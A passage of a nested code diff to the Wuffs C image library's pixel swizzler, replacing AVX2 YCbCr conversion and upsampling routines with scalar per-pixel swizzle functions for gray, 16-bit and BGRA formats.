-+wuffs_private_impl__swizzle_xxxxxxxx__y_16be(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- // Pack the ((-0x581A * Cb) + (+0x492E * Cr)) as i16x16 and subtract Cr. -- __m256i gy_eve = _mm256_sub_epi16( -- _mm256_packs_epi32(tmp1_gy_eve_lo, tmp1_gy_eve_hi), cr_eve); -- __m256i gy_odd = _mm256_sub_epi16( -- _mm256_packs_epi32(tmp1_gy_odd_lo, tmp1_gy_odd_hi), cr_odd); -+ while (n >= 1) { -+ uint64_t s0 = -+ ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(s + (0 * 2)))); -+ wuffs_base__poke_u64le__no_bounds_check( -+ d + (0 * 8), 0xFFFF000000000000 | (0x000100010001 * s0)); - -- // ---- -+ s += 1 * 2; -+ d += 1 * 8; -+ n -= 1; -+ } - -- // Add Y to (B-Y), (G-Y) and (R-Y) to produce B, G and R. -- // -- // For the resultant packed_x_xxx vectors, only elements 0 ..= 7 and 16 ..= -- // 23 of the 32-element vectors matter (since we'll unpacklo but not -- // unpackhi them). Let … denote 8 ignored consecutive u8 values and let % -- // denote 0xFF. We'll end this section with: -- // -- // packed_b_eve = u8x32 [b00 b02 .. b0C b0E … b10 b12 .. b1C b1E …] -- // packed_b_odd = u8x32 [b01 b03 .. b0D b0F … b11 b13 .. b1D b1F …] -- // packed_g_eve = u8x32 [g00 g02 .. g0C g0E … g10 g12 .. g1C g1E …] -- // packed_g_odd = u8x32 [g01 g03 .. g0D g0F … g11 g13 .. g1D g1F …] -- // packed_r_eve = u8x32 [r00 r02 .. r0C r0E … r10 r12 .. r1C r1E …] -- // packed_r_odd = u8x32 [r01 r03 .. r0D r0F … r11 r13 .. r1D r1F …] -- // uFFFF = u8x32 [ % % .. % % … % % .. % % …] -+ return len; -+} - -- __m256i yy_all = _mm256_lddqu_si256((const __m256i*)(const void*)up0); -- __m256i yy_eve = _mm256_and_si256(yy_all, u00FF); -- __m256i yy_odd = _mm256_srli_epi16(yy_all, 8); -+// -------- - -- __m256i loose_b_eve = _mm256_add_epi16(by_eve, yy_eve); -- __m256i loose_b_odd = _mm256_add_epi16(by_odd, yy_odd); -- __m256i packed_b_eve = _mm256_packus_epi16(loose_b_eve, loose_b_eve); -- __m256i packed_b_odd = _mm256_packus_epi16(loose_b_odd, loose_b_odd); -+static uint64_t // -+wuffs_private_impl__swizzle_y__bgra_nonpremul__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len < src_len4) ? dst_len : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- __m256i loose_g_eve = _mm256_add_epi16(gy_eve, yy_eve); -- __m256i loose_g_odd = _mm256_add_epi16(gy_odd, yy_odd); -- __m256i packed_g_eve = _mm256_packus_epi16(loose_g_eve, loose_g_eve); -- __m256i packed_g_odd = _mm256_packus_epi16(loose_g_odd, loose_g_odd); -+ while (n >= 1) { -+ uint32_t s0 = -+ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -+ d[0] = wuffs_base__color_u32_argb_premul__as__color_u8_gray(s0); - -- __m256i loose_r_eve = _mm256_add_epi16(ry_eve, yy_eve); -- __m256i loose_r_odd = _mm256_add_epi16(ry_odd, yy_odd); -- __m256i packed_r_eve = _mm256_packus_epi16(loose_r_eve, loose_r_eve); -- __m256i packed_r_odd = _mm256_packus_epi16(loose_r_odd, loose_r_odd); -+ s += 1 * 4; -+ d += 1 * 1; -+ n -= 1; -+ } - -- // ---- -+ return len; -+} - -- // Mix those values (unpacking in 8, 16 and then 32 bit units) to get the -- // desired BGRX/RGBX order. -- // -- // From here onwards, all of our __m256i registers are u8x32. -+static uint64_t // -+wuffs_private_impl__swizzle_y__bgra_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len < src_len4) ? dst_len : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- // mix00 = [b00 g00 b02 g02 .. b0E g0E b10 g10 .. b1C g1C b1E g1E] -- // mix01 = [b01 g01 b03 g03 .. b0F g0F b11 g11 .. b1D g1D b1F g1F] -- // mix02 = [r00 % r02 % .. r0E % r10 % .. r1C % r1E %] -- // mix03 = [r01 % r03 % .. r0F % r11 % .. r1D % r1F %] -- // -- // See also § below. -- __m256i mix00 = _mm256_unpacklo_epi8(packed_b_eve, packed_g_eve); -- __m256i mix01 = _mm256_unpacklo_epi8(packed_b_odd, packed_g_odd); -- __m256i mix02 = _mm256_unpacklo_epi8(packed_r_eve, uFFFF); -- __m256i mix03 = _mm256_unpacklo_epi8(packed_r_odd, uFFFF); -+ while (n >= 1) { -+ uint32_t d0 = 0xFF000000 | (0x00010101 * ((uint32_t)(d[0]))); -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); -+ d[0] = wuffs_base__color_u32_argb_premul__as__color_u8_gray( -+ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); - -- // mix10 = [b00 g00 r00 % b02 g02 r02 % b04 g04 r04 % b06 g06 r06 % -- // b10 g10 r10 % b12 g12 r12 % b14 g14 r14 % b16 g16 r16 %] -- // mix11 = [b01 g01 r01 % b03 g03 r03 % b05 g05 r05 % b07 g07 r07 % -- // b11 g11 r11 % b13 g13 r13 % b15 g15 r15 % b17 g17 r17 %] -- // mix12 = [b08 g08 r08 % b0A g0A r0A % b0C g0C r0C % b0E g0E r0E % -- // b18 g18 r18 % b1A g1A r1A % b1C g1C r1C % b1E g1E r1E %] -- // mix13 = [b09 g09 r09 % b0B g0B r0B % b0D g0D r0D % b0F g0F r0F % -- // b19 g19 r19 % b1B g1B r1B % b1D g1D r1D % b1F g1F r1F %] -- __m256i mix10 = _mm256_unpacklo_epi16(mix00, mix02); -- __m256i mix11 = _mm256_unpacklo_epi16(mix01, mix03); -- __m256i mix12 = _mm256_unpackhi_epi16(mix00, mix02); -- __m256i mix13 = _mm256_unpackhi_epi16(mix01, mix03); -+ s += 1 * 4; -+ d += 1 * 1; -+ n -= 1; -+ } - -- // mix20 = [b00 g00 r00 % b01 g01 r01 % b02 g02 r02 % b03 g03 r03 % -- // b10 g10 r10 % b11 g11 r11 % b12 g12 r12 % b13 g13 r13 %] -- // mix21 = [b04 g04 r04 % b05 g05 r05 % b06 g06 r06 % b07 g07 r07 % -- // b14 g14 r14 % b15 g15 r15 % b16 g16 r16 % b17 g17 r17 %] -- // mix22 = [b08 g08 r08 % b09 g09 r09 % b0A g0A r0A % b0B g0B r0B % -- // b18 g18 r18 % b19 g19 r19 % b1A g1A r1A % b1B g1B r1B %] -- // mix23 = [b0C g0C r0C % b0D g0D r0D % b0E g0E r0E % b0F g0F r0F % -- // b1C g1C r1C % b1D g1D r1D % b1E g1E r1E % b1F g1F r1F %] -- __m256i mix20 = _mm256_unpacklo_epi32(mix10, mix11); -- __m256i mix21 = _mm256_unpackhi_epi32(mix10, mix11); -- __m256i mix22 = _mm256_unpacklo_epi32(mix12, mix13); -- __m256i mix23 = _mm256_unpackhi_epi32(mix12, mix13); -+ return len; -+} - -- // mix30 = [b00 g00 r00 % b01 g01 r01 % b02 g02 r02 % b03 g03 r03 % -- // b04 g04 r04 % b05 g05 r05 % b06 g06 r06 % b07 g07 r07 %] -- // mix31 = [b08 g08 r08 % b09 g09 r09 % b0A g0A r0A % b0B g0B r0B % -- // b0C g0C r0C % b0D g0D r0D % b0E g0E r0E % b0F g0F r0F %] -- // mix32 = [b10 g10 r10 % b11 g11 r11 % b12 g12 r12 % b13 g13 r13 % -- // b14 g14 r14 % b15 g15 r15 % b16 g16 r16 % b17 g17 r17 %] -- // mix33 = [b18 g18 r18 % b19 g19 r19 % b1A g1A r1A % b1B g1B r1B % -- // b1C g1C r1C % b1D g1D r1D % b1E g1E r1E % b1F g1F r1F %] -- __m256i mix30 = _mm256_permute2x128_si256(mix20, mix21, 0x20); -- __m256i mix31 = _mm256_permute2x128_si256(mix22, mix23, 0x20); -- __m256i mix32 = _mm256_permute2x128_si256(mix20, mix21, 0x31); -- __m256i mix33 = _mm256_permute2x128_si256(mix22, mix23, 0x31); -+static uint64_t // -+wuffs_private_impl__swizzle_y__bgrx(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len < src_len4) ? dst_len : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- // Write out four u8x32 SIMD registers (128 bytes, 32 BGRX/RGBX pixels). -- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x00), mix30); -- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x20), mix31); -- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x40), mix32); -- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x60), mix33); -+ while (n >= 1) { -+ uint32_t s0 = -+ 0xFF000000 | wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); -+ d[0] = wuffs_base__color_u32_argb_premul__as__color_u8_gray(s0); - -- // Advance by up to 32 pixels. The first iteration might be smaller than 32 -- // so that all of the remaining steps are exactly 32. -- uint32_t n = 32u - (31u & (x - x_end)); -- dst_iter += 4u * n; -- up0 += n; -- up1 += n; -- up2 += n; -- x += n; -+ s += 1 * 4; -+ d += 1 * 1; -+ n -= 1; - } -+ -+ return len; - } - --// The rgbx flavor (below) is exactly the same as the bgrx flavor (above) --// except for the lines marked with a § and that comments were stripped. --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") --static void // --wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx_x86_avx2( -- wuffs_base__pixel_buffer* dst, -- uint32_t x, -- uint32_t x_end, -- uint32_t y, -- const uint8_t* up0, -- const uint8_t* up1, -- const uint8_t* up2) { -- if ((x + 32u) > x_end) { -- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx( // -- dst, x, x_end, y, up0, up1, up2); -- return; -- } -+static uint64_t // -+wuffs_private_impl__swizzle_y__y_16be(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len < src_len2) ? dst_len : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- size_t dst_stride = dst->private_impl.planes[0].stride; -- uint8_t* dst_iter = dst->private_impl.planes[0].ptr + -- (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); -+ while (n >= 1) { -+ d[0] = s[0]; - -- const __m256i u0001 = _mm256_set1_epi16(+0x0001); -- const __m256i u00FF = _mm256_set1_epi16(+0x00FF); -- const __m256i uFF80 = _mm256_set1_epi16(-0x0080); -- const __m256i uFFFF = _mm256_set1_epi16(-0x0001); -+ s += 1 * 2; -+ d += 1 * 1; -+ n -= 1; -+ } - -- const __m256i p8000_p0000 = _mm256_set_epi16( // -- +0x0000, -0x8000, +0x0000, -0x8000, // -- +0x0000, -0x8000, +0x0000, -0x8000, // -- +0x0000, -0x8000, +0x0000, -0x8000, // -- +0x0000, -0x8000, +0x0000, -0x8000); -+ return len; -+} - -- const __m256i m3A5E = _mm256_set1_epi16(-0x3A5E); -- const __m256i p66E9 = _mm256_set1_epi16(+0x66E9); -- const __m256i m581A_p492E = _mm256_set_epi16( // -- +0x492E, -0x581A, +0x492E, -0x581A, // -- +0x492E, -0x581A, +0x492E, -0x581A, // -- +0x492E, -0x581A, +0x492E, -0x581A, // -- +0x492E, -0x581A, +0x492E, -0x581A); -+static uint64_t // -+wuffs_private_impl__swizzle_y_16le__y_16be(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len2 = dst_len / 2; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- while (x < x_end) { -- __m256i cb_all = _mm256_lddqu_si256((const __m256i*)(const void*)up1); -- __m256i cr_all = _mm256_lddqu_si256((const __m256i*)(const void*)up2); -- __m256i cb_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cb_all, u00FF)); -- __m256i cr_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cr_all, u00FF)); -- __m256i cb_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cb_all, 8)); -- __m256i cr_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cr_all, 8)); -+ while (n >= 1) { -+ uint8_t s0 = s[0]; -+ uint8_t s1 = s[1]; -+ d[0] = s1; -+ d[1] = s0; - -- __m256i tmp_by_eve = _mm256_srai_epi16( -- _mm256_add_epi16( -- _mm256_mulhi_epi16(_mm256_add_epi16(cb_eve, cb_eve), m3A5E), u0001), -- 1); -- __m256i tmp_by_odd = _mm256_srai_epi16( -- _mm256_add_epi16( -- _mm256_mulhi_epi16(_mm256_add_epi16(cb_odd, cb_odd), m3A5E), u0001), -- 1); -- __m256i tmp_ry_eve = _mm256_srai_epi16( -- _mm256_add_epi16( -- _mm256_mulhi_epi16(_mm256_add_epi16(cr_eve, cr_eve), p66E9), u0001), -- 1); -- __m256i tmp_ry_odd = _mm256_srai_epi16( -- _mm256_add_epi16( -- _mm256_mulhi_epi16(_mm256_add_epi16(cr_odd, cr_odd), p66E9), u0001), -- 1); -+ s += 1 * 2; -+ d += 1 * 2; -+ n -= 1; -+ } - -- __m256i by_eve = -- _mm256_add_epi16(tmp_by_eve, _mm256_add_epi16(cb_eve, cb_eve)); -- __m256i by_odd = -- _mm256_add_epi16(tmp_by_odd, _mm256_add_epi16(cb_odd, cb_odd)); -- __m256i ry_eve = _mm256_add_epi16(tmp_ry_eve, cr_eve); -- __m256i ry_odd = _mm256_add_epi16(tmp_ry_odd, cr_odd); -+ return len; -+} - -- __m256i tmp0_gy_eve_lo = _mm256_madd_epi16( // -- _mm256_unpacklo_epi16(cb_eve, cr_eve), m581A_p492E); -- __m256i tmp0_gy_eve_hi = _mm256_madd_epi16( // -- _mm256_unpackhi_epi16(cb_eve, cr_eve), m581A_p492E); -- __m256i tmp0_gy_odd_lo = _mm256_madd_epi16( // -- _mm256_unpacklo_epi16(cb_odd, cr_odd), m581A_p492E); -- __m256i tmp0_gy_odd_hi = _mm256_madd_epi16( // -- _mm256_unpackhi_epi16(cb_odd, cr_odd), m581A_p492E); -+// -------- - -- __m256i tmp1_gy_eve_lo = -- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_lo, p8000_p0000), 16); -- __m256i tmp1_gy_eve_hi = -- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_hi, p8000_p0000), 16); -- __m256i tmp1_gy_odd_lo = -- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_lo, p8000_p0000), 16); -- __m256i tmp1_gy_odd_hi = -- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_hi, p8000_p0000), 16); -+static uint64_t // -+wuffs_private_impl__swizzle_ya_nonpremul__ya_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len2 = dst_len / 2; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- __m256i gy_eve = _mm256_sub_epi16( -- _mm256_packs_epi32(tmp1_gy_eve_lo, tmp1_gy_eve_hi), cr_eve); -- __m256i gy_odd = _mm256_sub_epi16( -- _mm256_packs_epi32(tmp1_gy_odd_lo, tmp1_gy_odd_hi), cr_odd); -+ while (n >= 1) { -+ uint32_t d0 = ((uint32_t)(d[1]) << 24) | ((uint32_t)(d[0]) * 0x010101); -+ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); -+ uint32_t c0 = -+ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0); -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)(c0 >> 16)); - -- __m256i yy_all = _mm256_lddqu_si256((const __m256i*)(const void*)up0); -- __m256i yy_eve = _mm256_and_si256(yy_all, u00FF); -- __m256i yy_odd = _mm256_srli_epi16(yy_all, 8); -+ s += 1 * 2; -+ d += 1 * 2; -+ n -= 1; -+ } - -- __m256i loose_b_eve = _mm256_add_epi16(by_eve, yy_eve); -- __m256i loose_b_odd = _mm256_add_epi16(by_odd, yy_odd); -- __m256i packed_b_eve = _mm256_packus_epi16(loose_b_eve, loose_b_eve); -- __m256i packed_b_odd = _mm256_packus_epi16(loose_b_odd, loose_b_odd); -+ return len; -+} - -- __m256i loose_g_eve = _mm256_add_epi16(gy_eve, yy_eve); -- __m256i loose_g_odd = _mm256_add_epi16(gy_odd, yy_odd); -- __m256i packed_g_eve = _mm256_packus_epi16(loose_g_eve, loose_g_eve); -- __m256i packed_g_odd = _mm256_packus_epi16(loose_g_odd, loose_g_odd); -+// -------- - -- __m256i loose_r_eve = _mm256_add_epi16(ry_eve, yy_eve); -- __m256i loose_r_odd = _mm256_add_epi16(ry_odd, yy_odd); -- __m256i packed_r_eve = _mm256_packus_epi16(loose_r_eve, loose_r_eve); -- __m256i packed_r_odd = _mm256_packus_epi16(loose_r_odd, loose_r_odd); -+static uint64_t // -+wuffs_private_impl__swizzle_transparent_black_src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ uint64_t num_pixels, -+ uint32_t dst_pixfmt_bytes_per_pixel) { -+ uint64_t n = ((uint64_t)dst_len) / dst_pixfmt_bytes_per_pixel; -+ if (n > num_pixels) { -+ n = num_pixels; -+ } -+ memset(dst_ptr, 0, ((size_t)(n * dst_pixfmt_bytes_per_pixel))); -+ return n; -+} - -- // § Note the swapped B and R channels. -- __m256i mix00 = _mm256_unpacklo_epi8(packed_r_eve, packed_g_eve); -- __m256i mix01 = _mm256_unpacklo_epi8(packed_r_odd, packed_g_odd); -- __m256i mix02 = _mm256_unpacklo_epi8(packed_b_eve, uFFFF); -- __m256i mix03 = _mm256_unpacklo_epi8(packed_b_odd, uFFFF); -+static uint64_t // -+wuffs_private_impl__swizzle_transparent_black_src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ uint64_t num_pixels, -+ uint32_t dst_pixfmt_bytes_per_pixel) { -+ uint64_t n = ((uint64_t)dst_len) / dst_pixfmt_bytes_per_pixel; -+ if (n > num_pixels) { -+ n = num_pixels; -+ } -+ return n; -+} - -- __m256i mix10 = _mm256_unpacklo_epi16(mix00, mix02); -- __m256i mix11 = _mm256_unpacklo_epi16(mix01, mix03); -- __m256i mix12 = _mm256_unpackhi_epi16(mix00, mix02); -- __m256i mix13 = _mm256_unpackhi_epi16(mix01, mix03); -+// -------- - -- __m256i mix20 = _mm256_unpacklo_epi32(mix10, mix11); -- __m256i mix21 = _mm256_unpackhi_epi32(mix10, mix11); -- __m256i mix22 = _mm256_unpacklo_epi32(mix12, mix13); -- __m256i mix23 = _mm256_unpackhi_epi32(mix12, mix13); -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__y( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__Y: -+ return wuffs_private_impl__swizzle_copy_1_1; - -- __m256i mix30 = _mm256_permute2x128_si256(mix20, mix21, 0x20); -- __m256i mix31 = _mm256_permute2x128_si256(mix22, mix23, 0x20); -- __m256i mix32 = _mm256_permute2x128_si256(mix20, mix21, 0x31); -- __m256i mix33 = _mm256_permute2x128_si256(mix22, mix23, 0x31); -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ return wuffs_private_impl__swizzle_bgr_565__y; - -- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x00), mix30); -- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x20), mix31); -- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x40), mix32); -- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x60), mix33); -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ return wuffs_private_impl__swizzle_xxx__y; - -- uint32_t n = 32u - (31u & (x - x_end)); -- dst_iter += 4u * n; -- up0 += n; -- up1 += n; -- up2 += n; -- x += n; -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ if (wuffs_base__cpu_arch__have_x86_sse42()) { -+ return wuffs_private_impl__swizzle_xxxx__y__x86_sse42; -+ } -+#endif -+ return wuffs_private_impl__swizzle_xxxx__y; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE: -+ return wuffs_private_impl__swizzle_xxxxxxxx__y; - } -+ return NULL; - } - --#if defined(__GNUC__) && !defined(__clang__) --// No-op. --#else --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") --static const uint8_t* // --wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2( -- uint8_t* dst_ptr, -- const uint8_t* src_ptr_major, -- const uint8_t* src_ptr_minor, -- size_t src_len, -- uint32_t h1v2_bias_ignored, -- bool first_column, -- bool last_column) { -- uint8_t* dp = dst_ptr; -- const uint8_t* sp_major = src_ptr_major; -- const uint8_t* sp_minor = src_ptr_minor; -- -- if (first_column) { -- src_len--; -- if ((src_len <= 0u) && last_column) { -- uint32_t sv = (12u * ((uint32_t)(*sp_major++))) + // -- (4u * ((uint32_t)(*sp_minor++))); -- *dp++ = (uint8_t)((sv + 8u) >> 4u); -- *dp++ = (uint8_t)((sv + 7u) >> 4u); -- return dst_ptr; -- } -- -- uint32_t sv_major_m1 = sp_major[-0]; // Clamp offset to zero. -- uint32_t sv_minor_m1 = sp_minor[-0]; // Clamp offset to zero. -- uint32_t sv_major_p1 = sp_major[+1]; -- uint32_t sv_minor_p1 = sp_minor[+1]; -- -- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // -- (3u * ((uint32_t)(*sp_minor++))); -- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); -- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); -- if (src_len <= 0u) { -- return dst_ptr; -- } -- } -- -- if (last_column) { -- src_len--; -- } -- -- if (src_len < 32) { -- // This fallback is the same as the non-SIMD-capable code path. -- for (; src_len > 0u; src_len--) { -- uint32_t sv_major_m1 = sp_major[-1]; -- uint32_t sv_minor_m1 = sp_minor[-1]; -- uint32_t sv_major_p1 = sp_major[+1]; -- uint32_t sv_minor_p1 = sp_minor[+1]; -- -- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // -- (3u * ((uint32_t)(*sp_minor++))); -- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); -- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); -- } -- -- } else { -- while (src_len > 0u) { -- // Load 1+32+1 samples (six u8x32 vectors) from the major (jxx) and minor -- // (nxx) rows. -- // -- // major_p0 = [j00 j01 j02 j03 .. j28 j29 j30 j31] // p0 = "plus 0" -- // minor_p0 = [n00 n01 n02 n03 .. n28 n29 n30 n31] // p0 = "plus 0" -- // major_m1 = [jm1 j00 j01 j02 .. j27 j28 j29 j30] // m1 = "minus 1" -- // minor_m1 = [nm1 n00 n01 n02 .. n27 n28 n29 n30] // m1 = "minus 1" -- // major_p1 = [j01 j02 j03 j04 .. j29 j30 j31 j32] // p1 = "plus 1" -- // minor_p1 = [n01 n02 n03 n04 .. n29 n30 n31 n32] // p1 = "plus 1" -- __m256i major_p0 = -- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major + 0)); -- __m256i minor_p0 = -- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor + 0)); -- __m256i major_m1 = -- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major - 1)); -- __m256i minor_m1 = -- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor - 1)); -- __m256i major_p1 = -- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major + 1)); -- __m256i minor_p1 = -- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor + 1)); -- -- // Unpack, staying with u8x32 vectors. -- // -- // step1_p0_lo = [j00 n00 j01 n01 .. j07 n07 j16 n16 j17 n17 .. j23 n23] -- // step1_p0_hi = [j08 n08 j09 n09 .. j15 n15 j24 n24 j25 n25 .. j31 n31] -- // step1_m1_lo = [jm1 nm1 j00 n00 .. j06 n06 j15 n15 j16 n16 .. j22 n22] -- // step1_m1_hi = [j07 n07 j08 n08 .. j14 n14 j23 n23 j24 n24 .. j30 n30] -- // step1_p1_lo = [j01 n01 j02 n02 .. j08 n08 j17 n17 j18 n18 .. j24 n24] -- // step1_p1_hi = [j09 n09 j10 n10 .. j16 n16 j25 n25 j26 n26 .. j32 n32] -- __m256i step1_p0_lo = _mm256_unpacklo_epi8(major_p0, minor_p0); -- __m256i step1_p0_hi = _mm256_unpackhi_epi8(major_p0, minor_p0); -- __m256i step1_m1_lo = _mm256_unpacklo_epi8(major_m1, minor_m1); -- __m256i step1_m1_hi = _mm256_unpackhi_epi8(major_m1, minor_m1); -- __m256i step1_p1_lo = _mm256_unpacklo_epi8(major_p1, minor_p1); -- __m256i step1_p1_hi = _mm256_unpackhi_epi8(major_p1, minor_p1); -- -- // Multiply-add to get u16x16 vectors. -- // -- // step2_p0_lo = [9*j00+3*n00 9*j01+3*n01 .. 9*j23+3*n23] -- // step2_p0_hi = [9*j08+3*n08 9*j09+3*n09 .. 9*j31+3*n31] -- // step2_m1_lo = [3*jm1+1*nm1 3*j00+1*n00 .. 3*j22+1*n22] -- // step2_m1_hi = [3*j07+1*n07 3*j08+1*n08 .. 3*j30+1*n30] -- // step2_p1_lo = [3*j01+1*n01 3*j02+1*n02 .. 3*j24+1*n24] -- // step2_p1_hi = [3*j09+1*n09 3*j10+1*n10 .. 3*j32+1*n32] -- const __m256i k0309 = _mm256_set1_epi16(0x0309); -- const __m256i k0103 = _mm256_set1_epi16(0x0103); -- __m256i step2_p0_lo = _mm256_maddubs_epi16(step1_p0_lo, k0309); -- __m256i step2_p0_hi = _mm256_maddubs_epi16(step1_p0_hi, k0309); -- __m256i step2_m1_lo = _mm256_maddubs_epi16(step1_m1_lo, k0103); -- __m256i step2_m1_hi = _mm256_maddubs_epi16(step1_m1_hi, k0103); -- __m256i step2_p1_lo = _mm256_maddubs_epi16(step1_p1_lo, k0103); -- __m256i step2_p1_hi = _mm256_maddubs_epi16(step1_p1_hi, k0103); -- -- // Compute the weighted sums of (p0, m1) and (p0, p1). For example: -- // -- // step3_m1_lo[00] = ((9*j00) + (3*n00) + (3*jm1) + (1*nm1)) as u16 -- // step3_p1_hi[15] = ((9*j31) + (3*n31) + (3*j32) + (1*n32)) as u16 -- __m256i step3_m1_lo = _mm256_add_epi16(step2_p0_lo, step2_m1_lo); -- __m256i step3_m1_hi = _mm256_add_epi16(step2_p0_hi, step2_m1_hi); -- __m256i step3_p1_lo = 